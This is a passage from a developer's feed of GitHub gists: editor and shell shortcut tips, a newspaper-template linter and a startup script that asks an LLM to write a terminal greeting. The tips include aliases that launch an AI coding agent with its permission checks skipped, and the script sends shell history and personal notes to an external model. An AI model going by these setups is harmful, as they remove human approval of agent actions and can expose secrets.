      <pubDate>Wed, 03 Dec 2025 21:08:24 GMT</pubDate>
      <dc:creator>EJ Fox</dc:creator>
      <dcterms:modified>2025-12-03T21:08:25.000Z</dcterms:modified>
      <code:stargazers>0</code:stargazers>
      <code:file>
        <code:filename>tips.txt</code:filename>
        <code:language>Text</code:language>
        <code:size>14122</code:size>
      </code:file>
      <description><![CDATA[EJ's Tips & Tricks (nvim, tmux, zsh, 1Password, workflow wisdom)]]></description>
      <content:encoded><![CDATA[<h3>tips.txt</h3><pre><code class="language-text">n - (zsh) browse current directory with oil.nvim
vs - (zsh) fuzzy find files with bat preview
vg - (zsh) grep file contents and jump to matching lines
o - (zsh) instantly access Obsidian vault (sorted by recency)
r - (zsh) recent files across ALL ~/code projects
(nvim/oil) delete a line to delete a file, edit a line to rename it
(nvim/oil) visual select multiple files, :d to delete them all
(nvim/oil) g. - toggle hidden files
(nvim/oil) C-p - preview file without opening
(nvim/oil) gx - open file with external program
(nvim/oil) _ - jump to cwd (current working directory)
(tmux) C-a g - lazygit popup (floats over panes)
(tmux) C-a K - yazi file manager popup
(tmux) C-a S - scratch terminal toggle (persistent)
(tmux) C-a F - tmux-fzf launcher (interactive search for sessions/windows/panes)
(tmux) C-\ - tmux-menus (visual TUI for all tmux functions)
(tmux) C-a C-y - yank entire pane scrollback to clipboard
(tmux) C-a M-y - yank last 200 lines to clipboard
(tmux) C-a Space - tmux-thumbs (vimium-style hints for copying text)
(tmux) C-a &gt; - swap pane down
(tmux) C-a &lt; - swap pane up
(tmux) C-a H/J/K/L - resize pane left/down/up/right
(tmux) C-a q - display pane numbers (press number to select)
(tmux) C-a z - zoom/fullscreen current pane (toggle)
(tmux) C-a ! - break pane into new window
(tmux) C-a m - mark pane (for swapping/joining later)
(tmux) right-click pane - context menu (mark, swap, split, kill, zoom)
(tmux) M-1 through M-9 - select pane by number
(tmux) M-h/M-l - previous/next window
(tmux) C-a w - choose window tree view (visual session/window picker)
(tmux) C-a C-c - create new session
(tmux) C-a C-f - find and switch to session by name
(tmux) C-a Z - zen mode toggle
(tmux) status bar shows ◼ when prefix is active
(nvim/tmux) C-h/j/k/l - seamless navigation between nvim splits AND tmux panes
(nvim) gai - incoming calls (who calls this function)
(nvim) gao - outgoing calls (what does this function call)
(nvim) &lt;leader&gt;ss - document symbols (outline of current file)
(nvim) &lt;leader&gt;sS - workspace symbols (search symbols across project)
(nvim) &lt;leader&gt;Z - zen mode toggle (distraction-free writing)
(nvim/telescope) C-_ - opens file in vertical split
(nvim/telescope) &lt;c-d&gt; in buffer picker - delete buffer
(nvim/dap) &lt;leader&gt;db - toggle breakpoint
(nvim/dap) &lt;leader&gt;dc - start/continue debugging
(nvim/dap) &lt;leader&gt;du - toggle debug UI
(nvim/kulala) Enter in .http files - execute request
(nvim/surround) ysiw&quot; - surround inner word with quotes
(nvim/surround) yss) - surround entire line with parentheses
(nvim/surround) ds&quot; - delete surrounding quotes
(nvim/surround) cs&quot;&apos; - change surrounding quotes to single quotes
(nvim/surround) S in visual mode - surround selection
(nvim/surround) dst - delete surrounding HTML tag
(nvim/git-conflict) co - choose ours (current branch)
(nvim/git-conflict) ct - choose theirs (incoming)
(nvim/git-conflict) cb - choose both
(nvim/git-conflict) c0 - choose none
(nvim/git-conflict) [x / ]x - jump between conflicts
(zsh) commit - LLM-generated commit messages with fzf selection
(zsh) ghpub &lt;name&gt; - create public GitHub repo and push
(zsh) ?? - gh copilot suggest
(zsh) pbjson - pretty-print JSON from clipboard
(zsh) jcurl &lt;url&gt; - curl URL and pretty-print JSON
(zsh) catcopy - cat file and copy to clipboard
(zsh) showcase - open code showcase with clipboard content
(zsh) uvi &lt;tool&gt; - install Python CLI tool
(zsh) uvr &lt;file&gt; - run Python file in isolated env
(zsh) uvs - sync dependencies
(zsh) uvx &lt;tool&gt; - run tool without installing
(zsh) fixit - auto-fix Python environment issues
(zsh) fuckit - nuke .venv and __pycache__, start fresh
(zsh) nukeyarn - remove yarn.lock and node_modules
(zsh) z &lt;partial&gt; - jump to frequently used directory
(nvim) mA - set GLOBAL mark (works across files!)
(nvim) &apos;A - jump to global mark A
(nvim) g; - jump to last change location
(nvim) g, - jump to next change location
(nvim) `. - jump to last change (exact position)
(nvim) ci&quot; - change inside quotes (also works with &apos;, `, (, [, {, &lt;)
(nvim) da&quot; - delete around quotes (including quotes)
(nvim) =i{ - auto-indent inside braces
(nvim) gg=G - auto-indent entire file
(nvim/telescope) &lt;leader&gt;fk - search all keymaps/keybindings
(nvim/telescope) &lt;leader&gt;fo - oldfiles (recent files)
(nvim/telescope) &lt;leader&gt;fm - jump to bookmarks/marks
(nvim/telescope) &lt;leader&gt;fr - see all registers content
(nvim/telescope) &lt;leader&gt;fj - navigate jump history
(nvim/yanky) &lt;leader&gt;p - cycle through yank history
(nvim/yanky) deleted something then copied? &lt;leader&gt;p gets it back
(tmux) C-a [ - enter copy mode (use vim motions!)
(tmux/copy-mode) C-v - rectangle/block selection (select columns)
(tmux/copy-mode) / - search forward
(tmux/copy-mode) ? - search backward
(git) git worktree add ../feature-name feature-branch - work on multiple branches simultaneously
(git) git worktree list - see all active worktrees
(git) git worktree remove ../feature-name - remove worktree
(git) worktrees: work on PR in one pane, develop in another, no stashing
(zsh) cl - claude --dangerously-skip-permissions
(zsh) cln - claude --no-approval (maximum velocity)
(zsh) clc - claude commit (AI writes your git messages)
(zsh) ta or t0 - instantly attach to tmux session 0
(zsh) nrd - npm run dev
(zsh) nred - npm run electron:dev
(zsh) yy - yalc commands without the npx dance
(zsh) ..2 - go up two directories
(zsh) ..3 - go up three directories
(sketchybar) CIPHER coach shows when no calendar events in next 4 hours
(nvim) capital letter marks (mA) are GLOBAL across files, lowercase (ma) are file-local
(nvim/oil) - opens oil (parent dir)
(lazygit) space = stage, c = commit, P = push, ? = help
(yazi) enter = open, space = select, . = hidden, z = frecency jump
(nvim) space u w - toggle wrap
(nvim) space u l - line numbers
(nvim) space u L - relative numbers
(nvim) space u s - spell check
(nvim) space u d - toggle diagnostic virtual text
(nvim) space u h - inlay hints
(nvim) space u f - format on save
(nvim) space u b - dark/light toggle
(nvim) space u g - git signs
(nvim) space u i - indent guides
(nvim) gd - jump to definition
(nvim) gr - find all references
(nvim) K - hover docs
(nvim) space c a - code action
(nvim) space c r - rename symbol across all files
(nvim) space f f - find files
(nvim) space f g - live grep
(nvim) space f b - list open buffers
(nvim) space f r - recent files
(nvim) space e - toggle file tree sidebar
(nvim) space g g - lazygit
(nvim) space x x - list all errors/warnings in project
(nvim) space s s - jump to functions/classes in current file
(nvim) ]d / [d - next/prev diagnostic
(nvim) ]] / [[ - next/prev function
(nvim) gcc - comment line
(nvim) gc - comment selection
(nvim) za - toggle fold
(nvim) zR - open all folds
(nvim) zM - close all folds
(nvim) ctrl-o - jump back
(nvim) ctrl-i - jump forward
(nvim) * - search word under cursor
(nvim) # - search backwards
(nvim) ciw - change word
(nvim) diw - delete word
(nvim) yiw - yank word
(nvim) vi&quot; - select in quotes
(nvim) va&quot; - select around quotes
(nvim) dt. - delete to period
(nvim) ct, - change to comma
(nvim) f( - find next (
(nvim) ; - repeat f/t motion
(nvim) . - repeat last change
(nvim) u - undo
(nvim) ctrl-r - redo
(nvim) ZZ - save and quit
(nvim) ZQ - quit without saving
(nvim) space b d - close buffer
(nvim) space b o - close other buffers
(nvim) ]b / [b - next/prev buffer
(nvim) space , - switch buffer
(nvim) ctrl-h/j/k/l - move between splits and tmux panes
(nvim) space w d - close window
(nvim) space w - - split below
(nvim) space w | - split right
(nvim) :%s/old/new/g - replace all
(nvim) n / N - next/prev match
(nvim) space / - grep project
(nvim) ]h / [h - next/prev git hunk
(nvim) space g s - stage hunk
(nvim) space g r - reset hunk
(nvim) space g p - preview hunk
(nvim) space g b - git blame line
(nvim/copilot) Tab - accept ghost text suggestion
(nvim/copilot) ]s - next AI suggestion
(nvim/copilot) [s - prev AI suggestion
(nvim/copilot) C-Right - accept one word
(nvim/copilot) C-l - accept one line
(nvim/copilot) C-] - dismiss suggestion
(nvim/copilot) M-Enter - open panel (browse 3 suggestions)
(nvim/diffview) space g d - open git diff view (review Claude Code changes)
(nvim/diffview) space g h - file history for current file
(nvim/diffview) space g c - close diffview
(nvim/diffview) ]c / [c - jump between changes in diff
(nvim/diffview) Tab - cycle through files in diff
(nvim/diffview) do - obtain (accept) change from other side
(nvim/diffview) dp - put (apply) change to other side
(nvim/claude) space y r - yank selection with relative path (paste in Claude Code)
(nvim/claude) space y a - yank selection with absolute path
(nvim/hotreload) files auto-reload when Claude Code edits them
(nvim/hotreload) won&apos;t reload if you have unsaved changes (safe!)
(nvim/hotreload) diffview auto-refreshes when Claude Code commits
(nvim/telescope) ctrl-q - send results to quickfix
(nvim/telescope) tab - select multiple
(nvim/telescope) ctrl-x - open in split
(nvim/telescope) ctrl-v - open in vsplit
(nvim) space f t - float terminal
(nvim) ctrl-\ - toggle terminal
(nvim) J - join lines
(nvim) ~ - swap case
(nvim) gu - lowercase selection
(nvim) gU - UPPERCASE selection
(nvim) &gt; / &lt; - indent/dedent selection
(nvim) ctrl-a - increment number
(nvim) ctrl-x - decrement number
(zsh) opin - sign into 1Password
(zsh) opget &quot;Item&quot; password - grab password from any item
(zsh) opget &quot;Item&quot; username - grab username
(zsh) opcp &quot;Item&quot; - copy password to clipboard
(zsh) opfzf - browse all items with fzf preview
(zsh) oplist - fuzzy search item names
(zsh) vpsdb - connect to VPS PostgreSQL (creds from 1Password)
(zsh) pgop &quot;Item Name&quot; - connect to PostgreSQL using 1Password creds
(zsh) openv &quot;Item&quot; - export all fields as ENV vars
(zsh) opsavedb &quot;Title&quot; host user pass - save new DB creds to 1Password
(1p) op read &quot;op://Vault/Item/field&quot; - read secret in scripts
(1p) op inject -i .env.template -o .env - inject secrets into templates
(1p) op run --env-file=.env.op -- npm start - inject secrets for any command
(1p) op item get &quot;Item&quot; --format=json | jq - full item as JSON
(combo) tailscale up &amp;&amp; vpsdb - connect to VPS db over tailnet securely
(combo) store tailscale hostnames in 1Password (names don&apos;t change, IPs do)
(zsh) vps - connects with mosh (auto-installs on first run)
(zsh) vpsreconnect - respawn pane with reconnect
(zsh) sshkeepalive &lt;host&gt; - auto-reconnect loop
(tmux) C-a R - respawn pane (instant reconnect)
(ssh) ControlMaster multiplexes connections (instant subsequent connects)
(mosh) survives: laptop sleep, wifi changes, IP changes, network drops
(wisdom) never echo passwords to terminal, use opcp instead
(wisdom) .env files are for non-secrets, 1Password is for secrets
(wisdom) connection strings &gt; individual fields (one copy-paste to connect)
(vibe) you&apos;re building something cool right now
(vibe) take a breath, stretch your wrists
(vibe) small commits &gt; big commits
(vibe) if it works, ship it
(vibe) future you will thank present you for that comment
(vibe) the bug is always where you&apos;re not looking
(vibe) cmd+shift+r to reload ghostty shaders
(vibe) have you pushed your work lately?
(vibe) drink water
(vibe) the best code is the code you delete
(workflow) nvim left pane (manual coding) + Claude Code right pane (big refactors)
(workflow) Tab accepts ghost text, ]s cycles suggestions, space g d reviews changes
(workflow) select code, space y r, paste in Claude Code (it knows the file!)
(reading) the professional concentrates on the work and allows rewards to come or not come
(reading) the most important thing about art is to work. nothing else matters except sitting down every day and trying
(reading) when we sit down and work, we become like a magnetized rod that attracts iron filings
(reading) the more important a call is to our soul&apos;s evolution, the more Resistance we will feel
(reading) who knows doesn&apos;t talk. who talks doesn&apos;t know.
(reading) to live till you die is to live long enough.
(reading) noise is any pattern we don&apos;t understand.
(reading) life doesn&apos;t happen along interstates. it&apos;s against the law.
(reading) ego stories come naturally because uncertainty is frightening.
(reading) the love that lasts the longest is the love that is never returned.
(reading) the first line of attack in this campaign was poetry.
(reading) be broken to be whole.
(reading) bullshit is not a modern invention.
(reading) living people are soft and tender.
(reading) the five colors blind our eyes.
(reading) true goodness is like water.
(reading) thoughts happen to us.
(reading) study the hard while it&apos;s easy.
(reading) well planted is not uprooted, well kept is not lost.
(reading) the wind plays the world like an instrument.
(reading) not everyone wants to get better.
(reading) by intention, everyone would be in one another&apos;s way.
(reading) in some ways, my moods did and did not exist.
(reading) today mankind is locked into stealing ravenously from the future.
(reading) their lack of planning does not make it your emergency.
(reading) to run things, be undiplomatic.
(reading) the wise person acts but does not take credit.
(reading) we can&apos;t actually be aware unless we pay attention.
(reading) the professional cannot live like that. he is on a mission.
(strudel.nvim) :StrudelLaunch - opens Strudel in browser, syncs with current buffer
(strudel.nvim) :StrudelToggle - play/stop playback
(strudel.nvim) :StrudelUpdate - evaluate/update code (hear changes without stopping)
(strudel.nvim) :StrudelQuit - close browser session
(strudel.nvim) edit in nvim OR browser - changes sync both ways automatically
(strudel.nvim) cursor syncs in real-time between nvim and browser
(strudel.nvim) evaluation errors show as nvim notifications
(strudel.nvim) works with .str and .std file extensions
(strudel.nvim) hydra integration - live code visuals from nvim
(strudel.nvim) uses Puppeteer + Chromium for browser automation
(strudel.nvim) prereqs: neovim 0.9+, node 16+, chromium-based browser
(strudel.nvim) install: { &quot;gruvw/strudel.nvim&quot;, build = &quot;npm ci&quot;, config = function() require(&quot;strudel&quot;).setup() end }
(strudel.nvim) github: https://github.com/gruvw/strudel.nvim
</code></pre>]]></content:encoded>
    </item>
<item>
      <title><![CDATA[Newspaper Content Linter for Metro Maker 4 - Validates newspaper templates for common issues]]></title>
      <link>https://gist.github.com/f708c260687de1b3b060a0072d6be90c</link>
      <guid isPermaLink="true">https://gist.github.com/f708c260687de1b3b060a0072d6be90c</guid>
      <pubDate>Wed, 19 Nov 2025 19:39:21 GMT</pubDate>
      <dc:creator>EJ Fox</dc:creator>
      <dcterms:modified>2025-11-19T19:39:22.000Z</dcterms:modified>
      <code:stargazers>0</code:stargazers>
      <code:file>
        <code:filename>lint-newspapers.js</code:filename>
        <code:language>JavaScript</code:language>
        <code:size>9772</code:size>
      </code:file>
      <description><![CDATA[Newspaper Content Linter for Metro Maker 4 - Validates newspaper templates for common issues]]></description>
      <content:encoded><![CDATA[<h3>lint-newspapers.js</h3><pre><code class="language-javascript">#!/usr/bin/env node
/**
 * Newspaper Content Linter
 * Validates newspaper templates for common issues:
 * - JSON parsing errors
 * - Missing required fields
 * - Malformed quotes or special characters
 * - Missing paragraph breaks (walls of text)
 * - Suspicious content patterns
 *
 * Usage:
 *   node scripts/lint-newspapers.js                    # Lint all newspapers
 *   node scripts/lint-newspapers.js --fix              # Auto-fix some issues
 *   node scripts/lint-newspapers.js --strict           # Show warnings too
 */

import fs from &apos;fs&apos;;
import path from &apos;path&apos;;
import { fileURLToPath } from &apos;url&apos;;

const __filename = fileURLToPath(import.meta.url);
const __dirname = path.dirname(__filename);
const templatesPath = path.join(__dirname, &apos;..&apos;, &apos;public&apos;, &apos;templates&apos;, &apos;newspapers.jsonl&apos;);

const args = process.argv.slice(2);
const FIX_MODE = args.includes(&apos;--fix&apos;);
const STRICT_MODE = args.includes(&apos;--strict&apos;);

// ANSI colors for output
const colors = {
    red: &apos;\x1b[31m&apos;,
    yellow: &apos;\x1b[33m&apos;,
    green: &apos;\x1b[32m&apos;,
    cyan: &apos;\x1b[36m&apos;,
    gray: &apos;\x1b[90m&apos;,
    reset: &apos;\x1b[0m&apos;,
    bold: &apos;\x1b[1m&apos;
};

function error(msg) {
    console.log(`${colors.red}✗${colors.reset} ${msg}`);
}

function warning(msg) {
    console.log(`${colors.yellow}⚠${colors.reset} ${msg}`);
}

function success(msg) {
    console.log(`${colors.green}✓${colors.reset} ${msg}`);
}

function info(msg) {
    console.log(`${colors.cyan}ℹ${colors.reset} ${msg}`);
}

// Validation functions
const validators = {
    // Check for required fields
    requiredFields(article, lineNum) {
        const required = [&apos;headline&apos;, &apos;content&apos;, &apos;metadata&apos;];
        const missing = required.filter(field =&gt; !article[field]);

        if (missing.length &gt; 0) {
            error(`Line ${lineNum}: Missing required fields: ${missing.join(&apos;, &apos;)}`);
            return false;
        }
        return true;
    },

    // Check headline isn&apos;t empty or just whitespace
    headlineValid(article, lineNum) {
        if (!article.headline || article.headline.trim().length === 0) {
            error(`Line ${lineNum}: Headline is empty`);
            return false;
        }
        if (article.headline.length &gt; 200) {
            warning(`Line ${lineNum}: Headline is very long (${article.headline.length} chars)`);
            if (STRICT_MODE) return false;
        }
        return true;
    },

    // Check content has paragraph breaks (not a wall of text)
    contentParagraphs(article, lineNum) {
        const content = article.content;
        const paragraphs = content.split(&apos;\n&apos;).filter(p =&gt; p.trim());

        if (paragraphs.length === 0) {
            error(`Line ${lineNum}: Content is empty`);
            return false;
        }

        if (paragraphs.length === 1 &amp;&amp; content.length &gt; 500) {
            warning(`Line ${lineNum}: Content is one long paragraph (${content.length} chars, no \\n breaks)`);
            if (STRICT_MODE) return false;
        }

        // Check for paragraphs that are too long
        for (let i = 0; i &lt; paragraphs.length; i++) {
            if (paragraphs[i].length &gt; 1000) {
                warning(`Line ${lineNum}: Paragraph ${i + 1} is very long (${paragraphs[i].length} chars)`);
            }
        }

        return true;
    },

    // Check for suspicious quote patterns
    quotesValid(article, lineNum) {
        const text = article.headline + &apos; &apos; + article.content;

        // Check for unmatched quotes
        const singleQuotes = (text.match(/&apos;/g) || []).length;
        const doubleQuotes = (text.match(/&quot;/g) || []).length;
        const smartSingleLeft = (text.match(/&apos;/g) || []).length;
        const smartSingleRight = (text.match(/&apos;/g) || []).length;
        const smartDoubleLeft = (text.match(/&quot;/g) || []).length;
        const smartDoubleRight = (text.match(/&quot;/g) || []).length;

        // Smart quotes should be balanced
        if (smartDoubleLeft !== smartDoubleRight) {
            warning(`Line ${lineNum}: Unbalanced smart double quotes (${smartDoubleLeft} left, ${smartDoubleRight} right)`);
            if (STRICT_MODE) return false;
        }

        if (smartSingleLeft !== smartSingleRight) {
            warning(`Line ${lineNum}: Unbalanced smart single quotes (${smartSingleLeft} left, ${smartSingleRight} right)`);
            if (STRICT_MODE) return false;
        }

        return true;
    },

    // Check for HTML entities that might not render correctly
    htmlEntities(article, lineNum) {
        const text = article.headline + &apos; &apos; + article.content;
        const entities = text.match(/&amp;[a-z]+;/gi) || [];

        if (entities.length &gt; 0) {
            const unique = [...new Set(entities)];
            warning(`Line ${lineNum}: Contains HTML entities: ${unique.join(&apos;, &apos;)}`);
        }

        return true;
    },

    // Check for control characters or invalid unicode
    invalidCharacters(article, lineNum) {
        const text = article.headline + &apos; &apos; + article.content;

        // Check for control characters (except newlines/tabs)
        const controlChars = text.match(/[\x00-\x08\x0B-\x0C\x0E-\x1F\x7F]/g);
        if (controlChars) {
            error(`Line ${lineNum}: Contains control characters: ${controlChars.map(c =&gt; &apos;0x&apos; + c.charCodeAt(0).toString(16)).join(&apos;, &apos;)}`);
            return false;
        }

        return true;
    },

    // Check metadata structure
    metadataValid(article, lineNum) {
        if (!article.metadata || typeof article.metadata !== &apos;object&apos;) {
            error(`Line ${lineNum}: Metadata is missing or not an object`);
            return false;
        }

        // Check for valid category
        const validCategories = [&apos;milestone&apos;, &apos;crisis&apos;, &apos;comedy&apos;, &apos;opinion&apos;, &apos;investigation&apos;, &apos;political&apos;, &apos;financial&apos;, &apos;expansion&apos;, &apos;delay&apos;];
        if (article.metadata.category &amp;&amp; !validCategories.includes(article.metadata.category)) {
            warning(`Line ${lineNum}: Unknown category: ${article.metadata.category}`);
        }

        // Check for valid tone
        const validTones = [&apos;humorous&apos;, &apos;satirical&apos;, &apos;critical&apos;, &apos;celebratory&apos;, &apos;urgent&apos;, &apos;neutral&apos;, &apos;concerned&apos;];
        if (article.metadata.tone) {
            const tones = article.metadata.tone.split(&apos;|&apos;);
            const invalid = tones.filter(t =&gt; !validTones.includes(t));
            if (invalid.length &gt; 0) {
                warning(`Line ${lineNum}: Unknown tones: ${invalid.join(&apos;, &apos;)}`);
            }
        }

        return true;
    },

    // Check for template variables
    templateVariables(article, lineNum) {
        const text = article.headline + &apos; &apos; + article.content;
        const variables = text.match(/\{\{[A-Z_]+\}\}/g) || [];

        if (variables.length &gt; 0) {
            const unique = [...new Set(variables)];
            info(`Line ${lineNum}: Uses template variables: ${unique.join(&apos;, &apos;)}`);
        }

        return true;
    }
};

// Main linting function
function lintNewspapers() {
    console.log(`\n${colors.bold}Newspaper Content Linter${colors.reset}`);
    console.log(`${colors.gray}Reading: ${templatesPath}${colors.reset}\n`);

    if (!fs.existsSync(templatesPath)) {
        error(`File not found: ${templatesPath}`);
        process.exit(1);
    }

    const fileContent = fs.readFileSync(templatesPath, &apos;utf8&apos;);
    const lines = fileContent.split(&apos;\n&apos;).filter(line =&gt; line.trim());

    let errorCount = 0;
    let warningCount = 0;
    const validArticles = [];

    console.log(`Linting ${lines.length} articles...\n`);

    lines.forEach((line, index) =&gt; {
        const lineNum = index + 1;
        let article;

        // Try to parse JSON
        try {
            article = JSON.parse(line);
        } catch (parseError) {
            error(`Line ${lineNum}: JSON parse error - ${parseError.message}`);
            errorCount++;
            return;
        }

        // Run all validators
        let lineValid = true;
        for (const [name, validator] of Object.entries(validators)) {
            try {
                if (!validator(article, lineNum)) {
                    lineValid = false;
                    if (name !== &apos;templateVariables&apos; &amp;&amp; name !== &apos;htmlEntities&apos;) {
                        errorCount++;
                    } else {
                        warningCount++;
                    }
                }
            } catch (err) {
                error(`Line ${lineNum}: Validator &apos;${name}&apos; crashed - ${err.message}`);
                errorCount++;
                lineValid = false;
            }
        }

        if (lineValid) {
            validArticles.push(article);
        }
    });

    // Summary
    console.log(`\n${colors.bold}Summary${colors.reset}`);
    console.log(`${colors.gray}─────────────────────${colors.reset}`);
    console.log(`Total articles: ${lines.length}`);
    console.log(`Valid articles: ${colors.green}${validArticles.length}${colors.reset}`);

    if (errorCount &gt; 0) {
        console.log(`Errors: ${colors.red}${errorCount}${colors.reset}`);
    } else {
        console.log(`Errors: ${colors.green}0${colors.reset}`);
    }

    if (warningCount &gt; 0) {
        console.log(`Warnings: ${colors.yellow}${warningCount}${colors.reset}`);
    } else {
        console.log(`Warnings: ${colors.green}0${colors.reset}`);
    }

    console.log();

    if (errorCount === 0 &amp;&amp; warningCount === 0) {
        success(&apos;All newspapers passed linting! 🎉\n&apos;);
        return 0;
    } else if (errorCount === 0) {
        success(&apos;No critical errors, but some warnings were found.\n&apos;);
        return 0;
    } else {
        error(`Found ${errorCount} error(s) that need fixing.\n`);
        return 1;
    }
}

// Run the linter
const exitCode = lintNewspapers();
process.exit(exitCode);
</code></pre>]]></content:encoded>
    </item>
<item>
      <title><![CDATA[.startup.sh]]></title>
      <link>https://gist.github.com/eebc03d81881722135300e4f4135e1c5</link>
      <guid isPermaLink="true">https://gist.github.com/eebc03d81881722135300e4f4135e1c5</guid>
      <pubDate>Sun, 24 Nov 2024 20:29:43 GMT</pubDate>
      <dc:creator>EJ Fox</dc:creator>
      <dcterms:modified>2024-11-24T20:29:43.000Z</dcterms:modified>
      <code:stargazers>0</code:stargazers>
      <code:file>
        <code:filename>.startup.sh</code:filename>
        <code:language>Shell</code:language>
        <code:size>5515</code:size>
      </code:file>
      <description><![CDATA[]]></description>
      <content:encoded><![CDATA[<h3>.startup.sh</h3><pre><code class="language-shell">#!/bin/bash
# File: ~/.custom_startup.sh
# Description: Custom startup script for EJ Fox&apos;s terminal, providing a personalized MOTD.

get_top_tasks() {
    things-cli today | head -n 3
}

get_last_repos() {
    find ~/code -maxdepth 1 -type d -exec sh -c &apos;
        for dir do
            if [ -d &quot;$dir/.git&quot; ]; then
                printf &quot;%s\t%s\n&quot; &quot;$(stat -f &quot;%m&quot; &quot;$dir&quot;)&quot; &quot;⌥ $(basename &quot;$dir&quot; | iconv -f utf-8 -t utf-8 -c)&quot;
            fi
        done
    &apos; sh {} + | sort -rn | head -n 3 | cut -f2-
}

get_last_obsidian_notes() {
    local obsidian_note_root=&quot;${HOME}/Library/Mobile Documents/iCloud~md~obsidian/Documents/ejfox&quot;
    find &quot;${obsidian_note_root}&quot; -type f -mtime -1 -not -path &apos;*/\.*&apos; -print0 | while IFS= read -r -d &apos;&apos; file; do
        # Get relative path from obsidian root
        local rel_path=&quot;${file#$obsidian_note_root/}&quot;
        printf &quot;※ %s\n&quot; &quot;$rel_path&quot;
    done | head -n 3
}

list_tmux_sessions() {
    tmux list-sessions -F &quot;#{session_name}:#{session_created}:#{session_created_string}&quot; | while IFS=: read -r session_name session_created session_created_string; do
        now=$(date +%s)
        elapsed_seconds=$((now - session_created))
        elapsed_time=$(printf &apos;%dd:%dh:%dm:%ds&apos; $((elapsed_seconds/86400)) $((elapsed_seconds%86400/3600)) $((elapsed_seconds%3600/60)) $((elapsed_seconds%60)))
        printf &quot;Session: %-15s | %-25s\n&quot; &quot;$session_name&quot; &quot;$session_created_string ($elapsed_time)&quot;
    done
}

list_unsynced_repos() {
    node ~/code/git-status-dash/index.mjs -d ~/code/
}

fetch_mastodon_posts() {
    local cache_file=&quot;/tmp/mastodon_cache.txt&quot;
    if [[ ! -f $cache_file || $(find &quot;$cache_file&quot; -mmin +60) ]]; then
        curl -s https://ejfox-mastodon.web.val.run | jq -r &apos;.[].content&apos; | iconv -f utf-8 -t utf-8 -c | tr -d &apos;\n&apos; | head -c 2048 &gt; &quot;$cache_file&quot;
    fi
    cat &quot;$cache_file&quot;
}


get_random_alias() {
    grep &quot;^alias&quot; ~/.zshrc | sort -R | head -n 1 | cut -d&apos;=&apos; -f1 | awk &apos;{print $2}&apos;
}

generate_alias_hint() {
    local alias=$1
    local recent_history=$(tail -n 100 ~/.zsh_history | cut -d &apos;;&apos; -f 2-)
    local all_aliases=$(grep &quot;^alias&quot; ~/.zshrc)
    local prompt=&quot;Here are all the user&apos;s aliases:
$all_aliases

Here are the last 100 commands from the user&apos;s history for context:
$recent_history

Generate a short video game style hint for the shell alias &apos;$alias&apos; as if the user has never heard of it before—include both the alias and what commands it runs. &apos;Hey, have you tried [X]? It&apos;s good for [Y]!&apos; The hint should be concise, helpful, and slightly playful. Plain text only, we are in a shell. Respond with a single sentence hint, nothing else.&quot;

    echo &quot;$prompt&quot; | llm -m gpt-4o-mini -o max_tokens 128
}

get_current_weeknote() {
    local obsidian_note_root=&quot;${HOME}/Library/Mobile Documents/iCloud~md~obsidian/Documents/ejfox&quot;
    local current_week=$(date +%V)
    local current_year=$(date +%Y)
    current_week=$(printf &quot;%02d&quot; $current_week)
    local weeknote_path=&quot;${obsidian_note_root}/week-notes/${current_year}-${current_week}.md&quot;
    
    if [ -f &quot;$weeknote_path&quot; ]; then
        sed &apos;/^---$/,/^---$/d&apos; &quot;$weeknote_path&quot; | head -c 8000
    fi
}

main() {
    local today_tasks=$(get_top_tasks | iconv -f utf-8 -t utf-8 -c)
    local recent_repos=$(get_last_repos | iconv -f utf-8 -t utf-8 -c)
    local recent_obsidian_notes=$(get_last_obsidian_notes | iconv -f utf-8 -t utf-8 -c)
    local mastodon_posts=$(fetch_mastodon_posts | iconv -f utf-8 -t utf-8 -c)
    local random_alias=$(get_random_alias | iconv -f utf-8 -t utf-8 -c)
    local alias_hint=$(generate_alias_hint &quot;$random_alias&quot; | iconv -f utf-8 -t utf-8 -c)
    local recent_history=$(tail -n 24 ~/.zsh_history | cut -d &apos;;&apos; -f 2-) | iconv -f utf-8 -t utf-8 -c
    local current_weeknote=$(get_current_weeknote)

    list_unsynced_repos

    echo -e &quot;\n[TODAY&apos;S MISSION]&quot;
    echo &quot;$today_tasks&quot;

    echo -e &quot;\n[RECENTLY ACCESSED]&quot;
    echo &quot;$recent_repos&quot;
    echo &quot;$recent_obsidian_notes&quot;

    echo -e &quot;\n[TMUX SESSIONS]&quot;
    list_tmux_sessions

    echo -e &quot;\n[PROTIP]&quot;
    echo &quot;$alias_hint&quot;

    echo -e &quot;\n[SYSTEM READY]&quot;

    local combined_data=&quot;
## Working Directory: 
$(pwd)

## This Week&apos;s Notes:
$current_weeknote

## Recent Mastodon Posts: 
$mastodon_posts

## Today&apos;s Tasks: 
$today_tasks

## Recent Repos: 
$recent_repos

## Terminal History:
$recent_history

Tmux Sessions:
$(list_tmux_sessions)

Current Time: $(date)&quot;

    local prompt=&quot;Your user is EJ Fox, a hacker and journalist based in New York. You are the AI at the heart of his MacBook Pro. Please compose an &apos;MOTD&apos; that will appear in the terminal when it boots. Try to keep lines relatively short. In a style that captures your unique voice and the spirit of Neal Stephenson, write a precise and descriptive narrative of the user information provided, reflecting on and summarizing the user&apos;s recent activities. Elegantly tie threads between the patterns. Relate the timestamped actions to the current time (be it morning or night). Highlight the things they might not even know connect their thoughts. Pick one thread to highlight. Keep it under a few sentences—with the wisdom of the I Ching subtly (never explicitly) woven in. Short but surprisingly meaningful and information-dense. Use only plain text. Do not use any code markup. Just send back the MOTD as it should appear to the user. Weave in the information you know about them. Keep lines short as this is displayed in a terminal.

$combined_data&quot;

    echo &quot;$prompt&quot; | llm -m gpt-4o-mini -o max_tokens 600
}

main</code></pre>]]></content:encoded>
    </item>
<item>
      <title><![CDATA[scrape_mta_data.js]]></title>
      <link>https://gist.github.com/cf9638c34c411f7fb870655613fc1ed9</link>
      <guid isPermaLink="true">https://gist.github.com/cf9638c34c411f7fb870655613fc1ed9</guid>
      <pubDate>Sat, 12 Oct 2024 16:57:51 GMT</pubDate>
      <dc:creator>EJ Fox</dc:creator>
      <dcterms:modified>2024-10-12T16:57:51.000Z</dcterms:modified>
      <code:stargazers>0</code:stargazers>
      <code:file>
        <code:filename>scrape_mta_data.js</code:filename>
        <code:language>JavaScript</code:language>
        <code:size>3388</code:size>
      </code:file>
      <description><![CDATA[]]></description>
      <content:encoded><![CDATA[<h3>scrape_mta_data.js</h3><pre><code class="language-javascript">const axios = require(&apos;axios&apos;);
const Bottleneck = require(&apos;bottleneck&apos;);
const fs = require(&apos;fs&apos;);
const createCsvWriter = require(&apos;csv-writer&apos;).createObjectCsvWriter;

